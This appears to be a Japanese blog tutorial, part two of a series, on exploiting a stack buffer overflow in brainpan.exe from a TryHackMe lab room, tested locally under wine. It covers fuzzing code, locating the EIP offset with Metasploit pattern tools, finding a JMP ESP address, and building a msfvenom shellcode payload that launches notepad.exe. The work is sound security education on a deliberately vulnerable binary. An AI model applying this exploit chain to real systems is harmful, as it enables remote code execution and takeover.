第2回:BufferOverflow脆弱性解析(ローカル検証編)
カテゴリ:バイナリ解析、バッファオーバーフロー実践
⓪ 概要/目的
今までの記事の中でBoF(BufferOverflow)の簡単な仕組みを初学者シリーズで説明してきたが
今回はtryhackmeにちょうど良いBoFの脆弱性を持つプログラム(brainpan.exe)があるため、実践でバイナリ解析してみよう!
https://tryhackme.com/room/brainpan
■ こんな方にオススメ!
🈩 今までの初学者シリーズを読了済みであり、スタックのイメージができる人
🈔 実践的に手を動かして試したい人
└ ★ BoF実行までのプロセス
※ IPアドレス(172.28.128.0/24)は検証環境によって異なるため、ご注意ください
❸ ローカルで検証(バイナリ解析)
kali上にbrainpan.exeを取得した後は実行形式などを調べる
・表層解析
$ file brainpan.exe
どうやらWindowsで実行できる実行ファイル(PE32 executable)のようだ
本来であればWindows上で実行して挙動を確かめるのが好ましい
しかし今回はあえてwinedbgを使いkali上で実行させてみる ※winedbgは事前に入れておこう
aaaaaabbbbと入力してみる
入力した文字がbufferに反映されていることが分かる
├ ★ ファジング(Fuzzing)
まずはバッファが溢れるサイズを調べることでEIPが実行されるアドレス知りたい
500~600の間でオーバーフローが発生したようだ
・・・(省略)
# ファジングの初期設定
ip = "127.0.0.1" # ターゲットIP
port = 9999 # ターゲットポート
timeout = 5 # タイムアウト秒数
initial_size = 100 # 最初のペイロードサイズ
step_size = 100 # 各ステップでバイト数を増やすサイズ
max_size = 3000 # 送信する最大バイト数
# バッファを段階的に増加させるための準備
buffer = ["A" * initial_size] # 最初に100バイトの"A"を含むバッファ
while len(buffer[-1]) < max_size:
buffer.append("A" * (len(buffer[-1]) + step_size)) # ステップごとにサイズを増加
# ファジング開始
for payload in buffer:
size = len(payload)
print(f"Fuzzing with {size} bytes...")
├ 600文字のパターンファイルを生成
自力で文字パターンを作成するのは大変なので以下で実現する
これで4バイト切り取ったときに先頭から何文字目なのか分かる
$ msf-pattern_create -l 600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4A..省略

├ 実行アドレス(EIP)を調査する
winedgbを使って、先ほど生成した文字をbrainpanに貼り付けてみよう
そうするとBoFで溢れた値を確認することができる
import socket
# 上記で生成したパターンを貼り付ける
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa..省略"
# ソケット接続と送信処理
ip = "127.0.0.1"
#ip = "localhost"
port = 9999
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.recv(1024)
# 生成したパターンを送信
s.send((pattern + '\r\n').encode())
s.close()
except Exception as e:
print(f"Error: {e}")
EIPは次に実行するアドレスが格納されるがBoFで値が上書きされた場合はアドレスではなく、
ユーザが入力した文字に書き換わっている!
図を見るとEIPが「35724134」になっていることが分かる
これは先ほど生成した文字の中に同じ「35724134」が存在していることを示し、何バイト目か調べることができる
✔ 「35724134」が何バイト目なのか確認:
$ msf-pattern_offset -q 35724134
これで524byte後にEIPがくることが分かったのでバイトコード(524)+EIP(実行アドレス)という形になる
└ JMP ESPを探し出す
ここまででEIPの場所が判明した
次にEIP実行したときにJMP ESPを実行させたい、まずはjmp espを実行するときに使うアセンブリ言語を確認してみよう
$ /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
jmp espはアセンブリだと「ff e4」が該当しているようだ
brainpan.exeで「ff e4」が含まれている箇所を探すと「311712f3」となることが分かる
$ objdump -d brainpan.exe | grep -i 'ff e4'
これで524byte + 「ff e4」でESPへ飛ばすことが可能となる!
ESPへ移動できれば、その後に好きなshellcodeを注入することで任意の行動を引き起こすことができる
❹ notepad.exe起動確認
次はEIPを実行させる部分にシェルコードを挿入することで任意のアプリを起動させたい
そこでwineではnotepad.exeを起動させることが可能なため、BoFを突いた攻撃の成功するテストとして最適である
$ msfvenom -p windows/exec CMD=notepad.exe -f python -v shellcode -b "\x00"
・・・(省略)・・・ Final size of python file: 1266 bytes shellcode = b"" shellcode += b"\xbd\xfd\xad\xbb\x97\xd9\xec\xd9\x74\x24\xf4" ・・・(省略)・・・
・・・(省略)・・・ # バッファ構築(バイト型で最初から組む) junk = b"A" * 524 eip = b"\xF3\x12\x17\x31" # little endian address nops = b"\x90" * 8 shellcode = b"" shellcode += b"\xbd\xfd\xad\xbb\x97\xd9\xec\xd9\x74\x24\xf4" payload = junk + eip + nops + shellcode ・・・(省略)・・・
上記ではnotepadを起動させるシェルコードを実行させることができた
このようにshellcodeを書き換えることで色々な挙動を引き起こすことができる
次回はいよいよターゲットサーバに対してbashを奪うシェルコードを実行していきたいと思う
~次回お楽しみに~